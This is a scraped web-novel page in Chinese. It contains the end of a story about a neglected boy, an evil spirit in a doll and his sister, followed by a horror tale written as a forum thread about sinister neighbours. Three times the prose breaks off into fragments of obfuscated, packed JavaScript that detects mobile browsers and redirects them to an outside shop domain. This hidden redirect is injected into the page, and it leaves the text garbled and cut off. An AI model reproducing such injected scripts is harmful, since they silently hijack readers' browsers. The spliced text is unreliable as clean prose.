“有儿子是好事。”另一个客人搓着手,笑得脸上的肉都堆在了一起,很猥琐:“就是可惜了孩子他妈——我记得她长得也不错……” 席定州的笑容收了。 席鸿秋站在走廊上,端着水杯,一动不动。 他听见席定州说:“提她干什么。”声音很冷,像冬天的风。客人讪讪地笑了,换了话题。 席鸿秋转身回房间,把水杯放在桌上,水洒出来一点,在木制的桌案上救下深色的痕迹。他没擦。 他坐在床上,把膝盖抱在胸前。 他想起那个女人。他不在乎她。但他想知道,她到底是个什么样的人。为什么所有人都不愿意提起她?为什么她的名字像一道疤,碰都不能碰? 那天晚上,他做了一个梦。梦里有一个女人,背对着他,站在银杏树下。他想叫她,但不知道她叫什么。 他从来没听过她的名字。 他对她一点也不了解。 他也没有那个资格叫她。 女人转过身来,他看不清她的脸。她的脸像一团雾,朦朦胧胧的。她伸出手,想摸他的头。 他躲开了。 于是他醒了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420267|200808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >枕头是湿的。他不知道自己为什么哭。 他真的不在乎她。他一点都不在乎她。 四 九岁那年秋天,席鸿秋在学校的处境好了一些。 不是那些人变善良了,而是他们觉得欺负一个不哭不闹不逃跑的木头人没意思。季庭有了新的目标,很少再堵他了。 席鸿秋每天一个人上学,一个人放学,一个人坐在长椅上,看别人说说笑笑着经过他。 他的成绩掉得很厉害,从班级中游掉到倒数。老师找他谈话,他低着头,一声不吭。 老师没办法,叹了口气,让他走了。 他走出办公室,走廊上空荡荡的,阳光从窗户照进来,落在地板上,亮得晃眼。 他站在那儿,站了很久。 有一天放学,他看见一个男人站在路边,穿着洗得发白的西装,对着校门口翘首以盼。 他在等人。 席鸿秋从他身边经过,眼神不自觉地移向他。 他停下来。 “你在等谁?”他问。 男人低头看他,笑了笑:“等我儿子,和你一样大。” 席鸿秋看着他的脸,很普通,但很温和。 他忽然想,如果自己投进别人家里,是不是也会有妈妈,有接他放学的爸爸,有真正的,爱着他的姐姐。 五 席鸿秋一个人站在院子里,今天是他十岁的生日,正值夏秋之交。 他有时候会记不清自己的生日,不像姐姐——她生于立春,是万物初始,阳气初生的大好日子。不像他,夏不夏,秋不秋的,和他的身份一样尴尬。 银杏树的叶子黄了,落了一地,踩上去沙沙响。他仰着头,看那些光秃秃的枝桠伸向天空,像一把倒插的扫帚。 “看什么?”身后传来声音 他回过头。席悯春站在门口,手里端着一杯水,高高在上地看着他。 好几年了,她第一次这样跟他说话。他愣了一下,然后低下头。 “树。”他说。 “树有什么好看的?” 他想了想。“就是觉得它活太久了。” 席悯春似乎很不解他的话。她走过来,站在他旁边,也抬头看那棵树。 “活太久有什么不好?”她问。 “不知道。”他说,“就是觉得它很累。每年都要长叶子,每年都要掉。长了掉,掉了长。好让人厌烦。” 席悯春低下头,看着他。那眼神让他想起小时候,她抱着他坐在树下,说“忠贞不渝”。 他别过脸。 “你什么时候变得这么感性了?”她问。 席鸿秋没回答,而是转过身,走了。席悯春没有跟上。 他走进屋里,穿过客厅,经过父亲的房间。门开着,里面没人。他停了一下。 他也不知道为什么。鬼使神差一般,他走进去。 父亲的房间很大,收拾得很整齐,屋内的摆件或典雅或华贵。只有一件例外。 ——桌下放着一个有些破旧的纸箱。 席鸿秋走过去把它翻开来看。里面是一个布娃娃。很小,巴掌大,浑身漆黑,眼睛是两颗红色的珠子,嘴角向上弯着,像在笑。他把它拿出来,放在手心里。 很轻。 “你好。” 他听见一个声音。很小,很轻,像是从很远的地方传来的,又像是从一个近在咫尺的地方——他的心里。 他的手抖了一下,布娃娃掉在地上,弹了两下,然后一动不动。 “你是谁?”他小声问。 “我是你的朋友。”那声音说,“我等了你很久。” 席鸿秋低头看着那个娃娃。它的红眼睛在灯光下闪动着,配着它黑漆漆的身子,妖冶又诡异。 “你父亲把我带回来,但他什么都不知道。”朋友说,“他想富,却满足不了我的要求。” “所以你出生了。”朋友说着又笑起来,一声高过一声,到最后整栋房子都似乎充斥着它的声音,震得席鸿秋脑袋“嗡嗡”作响。 朋友笑够了,用愈发尖锐的声音把重心指向他。 “他知道你是谁吗?” 席鸿秋没说话。 “他知道你想要什么吗?知道你被欺负吗?知道你每天晚上压抑的难过与不甘吗?” 席鸿秋的手在发抖。 “他不知道。”朋友说,“他什么都不知道。他只想要一个出人头地的儿子,一个能给他长脸的继承人。你不是。你不仅是私生子。你还是个废物。你是多余的。” “闭嘴。”席鸿秋说,不,是大吼。声音比朋友还大,还高。 席悯春听到动静,匆匆前来,看到弟弟跌坐在父亲的房间里,箱子被从桌底拖出,有打开过的痕迹。 除此之外再无其他。 她没说什么,只是走过去把箱子收拾好推回原位,然后把他拉起来,拍拍裤子上的灰,又走了出去。 她没有问他发生了什么。 她走后,席鸿秋才把藏进上衣里的娃娃拿出来。 “你看,”朋友的声音里充满了幸灾乐祸,“你的姐姐也不在乎你。” “她甚至恨不得你死。” 席鸿秋猛地握住娃娃的脖子,一寸寸地收紧。 娃娃回他以无机质的红色玻璃珠做成的眼睛和被缝在嘴角,一成不变的温和的笑。 多讽刺。 他听见朋友笑了。那笑声很轻,像风吹过枯叶。 “你甘心吗?” “被朋友疏远,被同学殴打,被父亲责骂,被姐姐……憎恨?” 席鸿秋看着手里的娃娃。它的红眼睛亮亮的,像两团火,烧得他心颤。 “你甘心吗?”朋友仍在问。 16. 贵人其二 六 席鸿秋站在父亲的房间里,站在那盏昏黄的灯下,站了很久。窗外,银杏树的叶子还在落,一片一片,无声无息。 他想起那些欺负他的人,想起季庭的棍子,想起他们哈哈大笑的样子,想起那句“野种”。 他想起那个女人,那个生下他就走了的女人。他不怪她走。但他曾经抑制不住得恨她。 现在他的恨换了一个对象。 他开始恨席悯春。恨她的好,恨她的虚伪,恨她的衣着她的样貌她的声音她的性格。 恨她的一切。 恨她是他唯一在乎的人,他在他心里却是个巴不得去死的祸害。 他又开始恨自己。 “好。”他说。 从那天起,席鸿秋变了。或许早有征兆,或许一夜之间。 他不再低着头,不再贴着墙根走路,不再在被人推倒的时候蜷缩着,像个茧。 他抬起头,看着那些人,眼神是冷的,空的,像在看死人。 他把他们的名字全都写了下来,一个个地报复回去。 那些人怕了,怕得很快,很急切。好像慢一秒就会死掉一样。 他们想错了,他想要的不是道歉。 于是他身上总是环绕着一股血气。 没有人再敢靠近他。 他坐在教室里,最后一排,靠窗的位置。窗外那棵银杏树,叶子已经落光了,光秃秃的枝桠伸向天空。 他看着那棵树,面无表情。 朋友在他心里说话,每天晚上都说。 祂说祂是庳墟侯,祂说祂被自己的哥哥背叛,祂说祂的恨。 他听着,一句话不说。 只有一次,在庳墟侯又一次说起祂伪善的哥哥时,他说:“明明是你背叛了他。” 庳墟侯怒了,邪神的怒火凡人承受不起,哪怕这个邪神已经沉寂了好久。 席鸿秋在医院住了整整一个月,出来时脸色依旧很白。席悯春看着他,给他披了一层外套。 席鸿秋愣了很久,才嚅嗫出一声“谢谢”。 他像一棵树,把所有的恨都埋在根里,等着它发芽。 树越长越高,也越来越沉默。 席悯春不知道他怎么了。但她很快就意识到,她的弟弟变了。 从那个爱笑的孩子,变成这个沉默的少年。 她试着靠近他,他躲开。她试着问他,他不答。她站在他门口,敲了很久的门,他坐在床上,怀里抱着一个铁盒,直勾勾地盯着门口,却不去开。 席悯春在门外站了很久,心里突然涌起一阵不安。 她不知道父亲房间里的那个娃娃每天晚上都会出现在弟弟的被里。 她不知道他每天晚上在和什么东西说话。 她什么都不知道。 她只知道,她的弟弟丢了。 丢在某个她看不见的地方。 七 初中三年,席鸿秋像影子一样活着。 成绩中等,不惹事,不说话,不交朋友。老师点名时视线总会略过他,去叫别人。 没人和他说话。 每个和他对上视线的人都会被他眼底的戾气吓退。 下课的时候,他坐在座位上,看着窗外。 窗外没有银杏树,只有一排光秃秃的梧桐。他看它们从春天绿到秋天,从秋天黄到冬天。叶子落了又长,长了又落。 和那棵银杏树没什么两样。 初三那年,席定州的公司出了问题。 都不致命,可却想珠串一样一连串的出现,搞得席定州焦头烂额。 那段时间他天天在家,打电话,骂人,摔东西。 席鸿秋把自己关在房间里,把庳墟侯的娃娃藏在枕头底下。庳墟侯不说话,他也不说话。 他把一张纸片攥进手里,攥得很紧。 那天夜里,席定州喝醉了,踹开他的门。他站在门口,脸红得像猪肝,眼睛红得像兔子。 “你跟你妈一样,”他说,“都是废物。” 席鸿秋坐在床上,看着父亲,没有说话。 “你妈跑了,你也想跑?你跑啊,你跑得掉吗?” 席鸿秋还是没说话。 席定州骂够了,转身走了。 门开着,走廊上的灯照进来,把他的影子拉得很长。他坐在床上,把娃娃从枕头底下拿出来,放在手心里。 它的红眼睛似乎闪了一下,好像淌下来一滴血。席鸿秋眨眨眼睛,发现是幻觉。 八 高二下学期,席鸿秋转学到了慕坪中学。 他被分在十班,最后一排,靠窗的位置。 窗外有一棵银杏树,很高,叶子绿得发亮。 他看见那棵树的时候,愣了一下。然后他坐下来,把书包放进抽屉里,看着窗外。 同桌是个男生,叫陈一舟。 和他小时候的同桌一样,姓陈。 但他们一点也不像。 陈水是寸头,虎头虎脑的,说话嗓门很大。陈一舟头发有点长,说话慢吞吞的,笑起来的时候眼睛眯成一条缝。 席鸿秋第一次看见他的时候,觉得有点眼熟,但想不起来在哪里见过。 他没再继续想。 可他们都主动接近了他。 陈一舟话很多,总是笑嘻嘻的。席鸿秋不太理他,他也不生气。 有一回陈一舟问他:“席鸿秋,你怎么老不说话?” 席鸿秋看了他一眼,没回答。 “你是不是有什么心事?”他接着问。 席鸿秋还是没回答。 陈一舟于是不再追问,转过头继续写作业。过了一会儿,他又说:“没事,你不想说就不说——这题你会写不?” 席鸿秋看着他的侧脸。 阳光从窗户照进来,落在他脸上,亮亮的。 他忽然想起很多年前,递到他手里的那瓣橘子。 那个人已经不在了。他转学了,不知道去了哪里,变成了什么样的人。席鸿秋低下头,说:“我看看。” 他再也没有想起过陈水。 九 高三,席悯春来学校当了音乐老师。 她教高一,和他不在同一层楼,但偶尔会在走廊上遇见。 她看见他,会点点头,叫一声“鸿秋”。他也点点头,叫一声“姐姐”。 然后各自走开。 有一次他在食堂吃饭,席悯春端着盘子走过来,坐在他对面。 “怎么一个人吃?”她问。 “习惯了。”她看着他,看了很久。 “你瘦了。” “没有。” “多吃点。”她把自己盘子里的鸡腿夹给他。 席鸿秋盯着那只鸡腿,好像它不是一个鸡腿,而是活蹦乱跳的鸡。然后他低下头,慢慢吃。鸡腿是咸的,咸到有些发苦。 “姐姐。”他忽然说。 “嗯?” “你恨我吗?” 席悯春的手停了一下。“为什么这么问?” “没什么。”他说,“小说看多了。” 席悯春看着他,看了很久。 然后她笑了。那笑容很淡,像冬天早晨的太阳。 “不恨。”她说,“以后少看点小说。” 那天晚上,庳墟侯来了。 “她说她不恨你。你信吗?” 席鸿秋没说话。 “你信吗?”祂又问。 “不信。”他说。 “为什么?” “她看我的眼神不对。” 庳墟侯笑了。 “你很聪明——所有人都恨你。” 席鸿秋把脸埋进枕头里。 “但你知道谁不恨你吗?”庳墟侯说,“我。我不恨你。我需要你。” 席鸿秋没说话。 “你愿意吗?”祂问。 十 “我可以帮你”庳墟侯说。 席鸿秋想了很久。然后他问:“怎么帮?” “我可以让那些人消失。”祂说,“那些恨你的人,看不起你的人,伤害你的人。让他们消失。从你的世界里消失。” 席鸿秋沉默了很久。“怎么消失?” “你不用管。我会做。” 席鸿秋闭上眼睛。他看见父亲的脸,红的,青筋暴起。看见席悯春的脸,空白的,没有表情。看见那个老师摔在地上,血从后脑勺流出来。看见那些同学,围着他笑,说他是野种。 他睁开眼睛。 “好。”他说。 于是他在纸片上画了一个又一个的叉,每道叉都代表着一份恨意,一份决心,一份……永远无法回头的行动。 但他从未借过庳墟侯的力量。 不是因为不想,而且因为不敢。 他怕。怕自己真的做了,就回不去了。怕自己沉溺在左右人性命的快感中,再也无法自拔。 庳墟侯没有催他。 祂好像很自信,相信他一定会向祂妥协,使用祂的力量,成为祂的傀儡。 十一 高三下学期,席悯春来找他。 那天晚自习,他一个人坐在教室里,看着窗外的银杏树。叶子已经落光了,光秃秃的枝桠伸向天空。席悯春走进来,坐在他旁边。 “鸿秋。”他没看她。“你是不是在怪我?”她问。 “不怪。”他说。 “你骗人。”席鸿秋转过头,看着她。她的眼睛红了,眼泪蓄在眼眶里,泛着水光。 “姐姐,”他问,“你恨我吗?” 席悯春沉默了很久。 “恨。”她说,带着破罐子破摔的决绝。 席鸿秋笑了。很轻微的一抹笑,像一片落在水面上的叶子。 “我知道。”他说。 “你知道?——你知道什么!”席悯春突然激动起来。 “你知道发现母亲是因自己而死时的悲伤与自厌吗?你知道父亲因为我是女孩而失望时的不甘与自卑吗?你知道得知父亲背叛母亲时的错愕与崩溃吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420268|200808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你什么都不知道。”她说。 “而我还要因为你还小,因为你不知情,因为你身体里流的那一半的血——就要无条件的对你好!” “只有这样,他们才会夸我端庄,夸我善良,夸我是个好人,当之无愧的好人……” 她的情绪从高亢到平淡再到压抑,声音也逐渐低下去,直到最后转变为喃喃自语。 席鸿秋看看她,又看看自己。 他没有阻拦,也没有辩驳。只是静默着,等待她发泄。 最后,他站起身。 他说。 “庳墟侯,帮我消除她这段记忆吧。” 席悯春睡着了。 席鸿秋看着她,看了很久。然后他笑了。这一次,是真的笑。眼睛弯弯的,亮亮的,和小时候一样。 “谢谢你。”他说。 那天晚上,庳墟侯再一次造访。 “你后悔吗?”祂问。 席鸿秋躺在床上,看着天花板。 “不后悔。” “也是。毕竟你也什么都没做。” “我做了。”席鸿秋反驳祂,“我做了选择。” “什么选择?” “我选了我的姐姐。” 庳墟侯沉默了很久。“你选错了。” “也许吧。但这是我自己选的。” 庳墟侯没有再说话,那天之后,祂很多年都没有再说话。 十二 高考结束后,席鸿秋考上了省城的大学。走的那天,席悯春送他到车站。 “到了打电话。” “嗯。” “好好吃饭。” “嗯。” “别想太多。” 席鸿秋笑了。“姐姐,你什么时候变得这么啰嗦了?” 席悯春也笑了。“一直都这样。” 车来了。 “姐,你问过我,院子里那棵银杏树代表什么。我现在知道了。” 席悯春看着他。 “它代表我、我们——坚韧顽强,福寿绵长。” “你怎么变得这么文艺了?” “被逄老师教的。” 两个人对视一眼,纷纷绽开了笑。 车来了。 席鸿秋拎起包,上了车。 他找了一个靠窗的位置坐下,等待发车的间隙,他从窗户向外看。 席悯春还站在站台上,看着他。风把她的头发吹乱了,她抬手捋了捋。 车开了。 车往前开,窗外是田野,是村庄,是慢慢暗下来的天空。 席鸿秋靠在椅背上,闭上眼睛。 这一刻,他的脑子空荡荡的,只有那棵银杏树,春天长出的新叶,夏天浓密的绿荫,秋天满地的金黄落叶,和冬天光秃秃的枝桠。 他想,或许他可以试着放下。 车越开越远,城市的轮廓渐渐模糊。 席鸿秋睁开眼,窗外的风拂过脸颊,像很多年前,姐姐蹲下来替他理好书包带时,轻轻拂过他额发的手。 他摸了摸胸口。 十三 很多年后,席鸿秋成了一名心理医生。 只是一个普通的小医生,在一所普通的医院里,看那些普通的病人,没什么名气。 但他很满足。 他每天早上去医院,晚上回家,做饭,吃饭,看书,睡觉。日子过得很平淡,很安静。 他偶尔会想起那些年,想起那些恨,想起那个声音。 庳墟侯很久没来了。 也许是因为姐姐扔掉了那个娃娃。没了媒介的邪神——或者邪祟什么都不是。 至于曾经使用邪祟力量的代价?他不知道。他也不在乎。 他只记得那天晚上,他问姐姐:“你信我吗?” “信。”姐姐说。 这就够了。 窗外,有一棵银杏树,很高,叶子金灿灿的,看着就让人欢欣。 他看着那棵树,想起自己十岁那年站在树下,仰着头,看到的光秃秃的枝桠。 “就是觉得它活太久了。”他当时说。 现在他想,活太久也没什么不好。 至少,它见证了很多春天。 他偶尔也会想起高中时的同桌陈一舟。 那个话很多,总是笑嘻嘻的家伙。 他不知道陈一舟后来去了哪里,做了什么,变成了什么样的人。但他知道,那个人也有自己的故事。 也许比他的更精彩,也许比他的更平淡。 但那是另一个故事了,不属于他。 他又笑了。这些年,他变得很爱笑。 他本就是很乖的长相,只是之前被阴郁的气质和心事遮盖住了。现在他想开了,于是笑得眉眼弯弯,如同夏日午后透过树叶缝隙洒下的斑驳光影,带着几分慵懒,几分惬意,轻轻晃动着,足够靓丽,抓人眼球,又不显矫揉。 风吹过来,银杏树的叶子沙沙地响。他整理了下衣衫,准备迎接下一位患者。 17. 感觉邻居信邪.教怎么办 7/15 16:23 1L LZ 弄拙成巧 如题,楼楼刚搬新家,总感觉邻居一家怪怪的…… 有没有人遇到过类似的情况?在线等,挺急的 2L 天天向下 真的假的 3L 命理 这种话不好乱说吧,楼楼有证据吗? 4L LZ 弄拙成巧 怎么说呢,其实我也只是感觉……但是我的邻居真的很怪异! 我刚搬来的时候,想着以后低头不见抬头见的还是要搞好关系,我就挨个拜访了我们这栋楼的业主 其他人都很正常,只有这家…… 我当时去敲门,虽然因为拎着东西没敲太用力,不过还是能听到里面的动静。但我等了很久都没人应声,我就以为是主人不在,就要走了 但这个时候门突然开了一条缝,缝里露出一只眼睛。就一只眼睛!其他的头发啊嘴啊都看不见! 6L 天天向下 我去,好刺激! 7L 命理 应该只是光线问题吧 8L 左左右右 楼楼然后呢然后呢 7/15 16:29 9L LZ 弄拙成巧 我也以为是光线问题。我就说我是新搬来的住户,特意过来拜访。然后把手里的礼品递了上去 那只眼睛盯了我好久。最后开口——虽然我还是没看到嘴——让我放外面就好。然后“砰”一下关上了门 10L 左左右右 连声谢谢都不说吗,好没礼貌 11L LZ 弄拙成巧 没什么的……我送的也不是什么好东西,可能是正好不喜欢吧…… 12L 天天向下 楼楼别这样说!就算再怎么不喜欢也是邻居送来的礼物!怎么可以这个态度呢! 13L LZ 弄拙成巧 谢谢…… 14L 林中霁色 楼主送的是什么礼物? 15L LZ 弄拙成巧 买的茶叶……还有我自己织的玩偶 16L 左左右右 楼楼手好巧! 7/15 16:37 17L LZ 弄拙成巧 谢谢…… 我们继续说 我当时也没当回事,把东西放下就走了 只是这样的话其实没什么好说的 但是因为房子已经很老了,隔音很差,我们两家又是上下门,所以他们家的动静我经常能听到…… 18L LZ 弄拙成巧 没办法,房租便宜。为了生活嘛,不寒碜 19L 山石木旁客 听懂的人都泪流满面了 20L 蜜 听懂的人都牛肉拉面了 21L 上上下下 听懂的人都宜宾燃面了 22L 左左右右 ?上上你怎么来了! 23L 上上下下 来抓你回去写作业:) 7/15 16:51 24L 天天向下 诶,左左你还在吗 7/15 17:02 25L 山重水复 很难在了吧…… 26L 林中霁色 楼主呢? 7/15 17:11 27L LZ 弄拙成巧 在 抱歉刚刚工作上有点事 28L 天天向下 没事楼楼,接着往下讲吧! 29L LZ 弄拙成巧 好…… 7/15 17:17 30L LZ 弄拙成巧 因为工作原因我经常很晚才睡,于是那天晚上刚过凌晨,我就听到了楼下传来的声响…… 不是说话的声音。怎么说呢,像那种拖拽重物的声音,混着很杂乱的脚步声 最开始声音也不大,但越往后越刺耳。我就站了起来,想下楼和他们说一声 结果我刚站起来,就听到楼下传来“咚咚咚”的声音,像是头用力砸在地上发出来的,然后就是连绵不绝的诵经声,一直持续到早上 31L 山石木旁客 这么久吗∑(O_O;) 32L 天天向下 所以楼楼后面睡着了吗 33L LZ 弄拙成巧 睡着了 他们念的那个经文还挺催眠的??ˊ?ˋ?? 34L 山重水复 ……厉害 7/15 17:22 35L 云雀 不是,楼楼你心也太大了!这种诡异的声音你居然睡得着?! 36L LZ 弄拙成巧 主要是……真的很好睡嘛 而且第二天还要上班,不睡不行啊 37L 夜行灯 我懂我懂,打工人不配失眠 7/15 17:28 38L LZ 弄拙成巧 其实如果只是这样,我也不会发帖了 关键是后面发生的事情越来越离谱 39L 天天向下 坐等更新 40L LZ 弄拙成巧 大概是我搬来的第四天晚上,我加班到很晚,回家的时候大概凌晨一点多 电梯到了我的楼层,门开了,我看到走廊里有个人影 是楼下那家的女主人——看眼睛,应该就是开门露出一只眼睛的那个 她就站在走廊中间,一动不动,面朝着我的方向 我当时整个人都僵住了 41L 夜行灯 啊啊啊然后呢! 42L LZ 弄拙成巧 我就站在电梯里不敢出去 大概过了两三分钟吧,她突然转身往回走,走到楼梯间,下楼了 但我注意到一个细节 她走路的时候,脚后跟是没有落地的 43L 山石木旁客 ???踮着脚走路??? 44L LZ 弄拙成巧 对,就是完全踮着脚,像芭蕾舞演员那样 但她是穿着拖鞋的 拖鞋的鞋跟悬空,只有前脚掌着地 正常人谁会这样走路啊 45L 林中霁色 你看清楚她的脸了吗 46L LZ 弄拙成巧 看清楚了,这也是我觉得最恐怖的地方 她的脸上没有任何表情,跟个木偶似的 眼睛睁得特别大,像画上去的 47L 天天向下 我的妈呀我鸡皮疙瘩起来了 48L 命理 楼主,我劝你小心一点 这种表现,不太像正常人 49L 蜜 对啊,别是精神有问题吧 7/15 17:41 50L LZ 弄拙成巧 谢谢提醒,我会的 从那之后我就开始留意他们家了 我试着问了问其他邻居,但大家好像都不想提他们家 有个大爷跟我说了一句“别管闲事”就关上门了 这就更让我好奇了 51L 夜猫子不睡觉 好奇害死猫啊楼楼! 52L LZ 弄拙成巧 我知道我知道 但我就是控制不住 而且说实话,我有点害怕 如果他们是正常人,那还好 如果他们真的有什么问题,我住他们楼上,我是不是应该做点什么 53L 墨色 楼楼考虑报警吗 54L LZ 弄拙成巧 想过,但我怎么对警察说呢? 就因为走路踮脚?念经?这也不犯法啊 55L 山重水复 这倒也是……警察也不能因为这个出警 7/15 17:55 56L LZ 弄拙成巧 转折发生在上周五 那天我调休在家,白天的时候楼下很安静,我差点都忘了他们家的事 下午三点左右,我听到楼下传来开门的声音 然后是很轻的脚步声——是小孩的脚步,越来越近,最后停到了我家门口 我心想,原来他们家还有小孩?来我家干什么? 我就凑到猫眼去看 57L 天天向下 楼楼你看到了吗 58L LZ 弄拙成巧 看到了 是一个小女孩,大概七八岁的样子 她一个人站在走廊里,背对着楼梯间的方向 她穿着一件白色的裙子,光着脚,脚底是黑的,像是踩过泥地 我就觉得很奇怪,大人在哪?怎么让小孩一个人在走廊里? 我就开门想问问她 59L 云雀 然后呢然后呢 60L 乐乐乐 发现楼主很会吊人胃口 7/15 18:00 61L LZ 弄拙成巧 我开门的时候,她听到了声音,转过头来看我 那个女孩长得很漂亮,皮肤白白的,大眼睛 但她看我的眼神很奇怪,不像是小孩看大人的眼神 更像是……怎么说呢,像是在辨认什么东西 然后她突然笑了,笑得很开心,朝我跑过来 跑到我面前,仰着头看我,嘴巴一张一合,像是要说什么 62L LZ 弄拙成巧 但她没有发出声音 63L 夜行灯 ???什么意思 64L LZ 弄拙成巧 她张嘴了,但什么声音都没有 不是哑巴的那种 我能看到她的嘴型在动,像是在说话,但就是没有声音传出来 然后她伸出舌头给我看 65L 山石木旁客 舌头怎么了!!! 66L LZ 弄拙成巧 她的舌头上全是疤 圆形的,一个一个的,从舌尖一直延伸到舌根 像是被什么东西烫过,或者……被烙过 我当时脑子一片空白 然后楼下的门那边传来急促的脚步声,那个女人冲上楼梯,一把抓住小女孩的胳膊,把她拖了回去 整个过程那个女人没有看我一眼 但小女孩被拖走的时候,一直扭着头看我,嘴巴还在动 我后来反复回想,觉得她说的好像是 “救救我” 67L 天天向下 ……………… 68L 命理 ……………… 69L 林中霁色 ……………… 70L 墨色 楼主你报警了吗???这次真的可以报警了!!! 71L LZ 弄拙成巧 我报了 我打了110,把情况说了一遍 警察来了,下楼去敲门 那家人开门了,是一个男人开的门 警察进去看了,说一切正常,家里很干净,小女孩也在,看上去好好的 警察说小女孩能说话,也说了几句,声音很正常 至于舌头上的疤,那个男人说孩子小时候被热水烫过,有医院记录 72L 天天向下 这就完了? 73L LZ 弄拙成巧 警察走了之后,我收到了一条微信 是我们这栋楼的物业管家发来的 他说:“12楼的住户,让我转告你一句话” 74L 日月星 什么话? 75L LZ 弄拙成巧 “管好自己的事,不该看的别看,不该听的别听” 76L 天天向下 这是在威胁你吧??? 77L LZ 弄拙成巧 我不知道 但那天晚上,楼下没有念经 取而代之的,是很轻很轻的哭声 是小女孩的声音 我听到了 她在哭 7/15 18:23 78L LZ 弄拙成巧 我睡不着了 我躺在床上盯着地板 突然想起一件事 我搬来的第一天,去敲他们家门的那个下午 我把礼物放在他们家门口的时候 我看到门缝下面塞着什么东西 是一张纸条 当时我没在意,以为是别人塞的小广告 但后来我又去看了,纸条还在 那张纸条上写着一行字 字迹很潦草,像是小孩写的 “他在看我” 79L 林中霁色 ……………… 80L 墨色 楼主你一定要小心 保护好自己 81L 夜猫子不睡觉 那个小女孩是不是在求救 那个纸条是不是她塞的 “他在看我”——这个“他”是谁?是那个男人吗? 82L 山石木旁客 我越想越害怕 楼主要不要找个理由搬走 83L LZ 弄拙成巧 我也想搬 但房租交了一年的 而且我现在走了,那个小女孩怎么办 84L 夜行灯 楼楼你人太好了 但你也要考虑自己的安全啊 85L LZ 弄拙成巧 我知道 我想了个办法 我在网上买了个录音笔,今天刚到。我准备偷偷放在楼下 如果能录到什么有用的东西,我就可以拿去报警 86L 天天向下 楼楼你小心啊! 7/15 19:15 87L LZ 弄拙成巧 录音笔到了 我去看看藏哪 等一下我回来更新 7/15 19:31 88L LZ 弄拙成巧 我回来了 录音笔放好了 但是我在放的时候发现了一个问题 89L 天天向下 什么问题 90L LZ 弄拙成巧 我把地毯掀起来的时候 发现地板缝隙里有什么东西 是一块布 黑色的布 上面画着红色的图案 我看不懂是什么符号 但我拍了照片 [图片加载中……] 7/15 19:44 91L 山石木旁客 这什么……像是一个倒着的五角星? 92L 命理 不是五角星 这是一种符咒 我记得以前在书上见过 这种符号咒应该是用来“封口”的,可以堵住人的嘴,让人没法说真话 93L 墨色 ???谁封的?封谁的口? 94L LZ 弄拙成巧 ……我的。布后面有我的名字 可是我有什么好封口的,我什么都不知道啊 95L 林中霁色 楼主小心点吧。 有人调查过你,并且还不怀好意。 96L 天天向下 这比楼下的事还恐怖吧!!! 97L LZ 弄拙成巧 ……………… 98L LZ 弄拙成巧 我把它塞回去了 录音笔也藏好了 今晚我试试能不能录到东西 7/16 00:23 99L LZ 弄拙成巧 开始了 楼下又开始拖拽东西了 这次比之前都响 好像在搬很重的东西 然后我听到了那个男人的声音 他在说什么 我听不太清 100L 昨日春 ……………… 101L LZ 弄拙成巧 现在安静了 开始念经了 和之前一样的声音 我的录音笔应该都录下来了 我去看看 102L LZ 弄拙成巧 录到了 103L 日月星 录到什么了 104L LZ 弄拙成巧 ……………… 105L LZ 弄拙成巧 稍等一会,我突然有点事 7/16 01:09 106L 云雀 楼楼还没回来吗 107L 山重水复 快一个小时了 108L 林中霁色 早点睡吧,明天再看。 7/16 02:03 109L 天天向下 楼楼? 7/16 02:57 110L 夜行灯 楼楼还没回来吗 7/16 04:40 111L 夜猫子不睡觉 不行我熬不住了,楼楼回来记得踢我! 7/16 09:11 112L LZ 弄拙成巧 昨晚的录音 似乎不太对 113L 天天向下 !楼楼回来了! 114L 昨日春 怎么个不对法? 115L LZ 弄拙成巧 我听到的诵经声 和录音笔里录到的声音 不一样 116L 林中霁色 哪里不一样? 117L LZ 弄拙成巧 我听到的诵经声,是那个男人的声音,在念一些我听不懂的经文 但录音笔里录到的 是一个女人的声音 她在反复说一句话 “有人在听” 118L 墨色 ????????? 119L LZ 弄拙成巧 然后是一阵笑声 然后她说 “没关系,让他听” “封不住他的嘴” “就封住别的好了” 120L林中霁色 ……………… 121L 山重水复 跑 楼主 快跑 122L 天天向下 楼楼你没事吧 ( ?Д?)ノ 7/16 09:33 123L LZ 弄拙成巧 我没事……目前 我现在的感觉很奇怪 明明很惊悚 但我却一点都不害怕 124L 夜猫子不睡觉 楼楼被吓傻了吧 125L LZ 弄拙成巧 ……可能吧 126L 林中霁色 楼主还是打个120看看吧 127L LZ 弄拙成巧 打了 电话接通了 但我发现我听不到声音了 128L 墨色 听不到声音? 129L LZ 弄拙成巧 我能感觉到电话那头有人在说话 但我听不到 我的耳朵里什么都听不到 没有声音 完全没有声音了 130L 天天向下 楼楼你别吓我!!! 7/16 09:55 131L LZ 弄拙成巧 我试了很多遍,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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在我脑子里 是那个小女孩的声音 她在说话 她说 “对不起” 148L 山重水复 ……………… 149L LZ 弄拙成巧 然后我听到了另一个声音 是那个男人的 他说 “耳朵收好了” “下一个是什么?” 150L 天天向下 楼主你快跑啊!!!!! 151L LZ 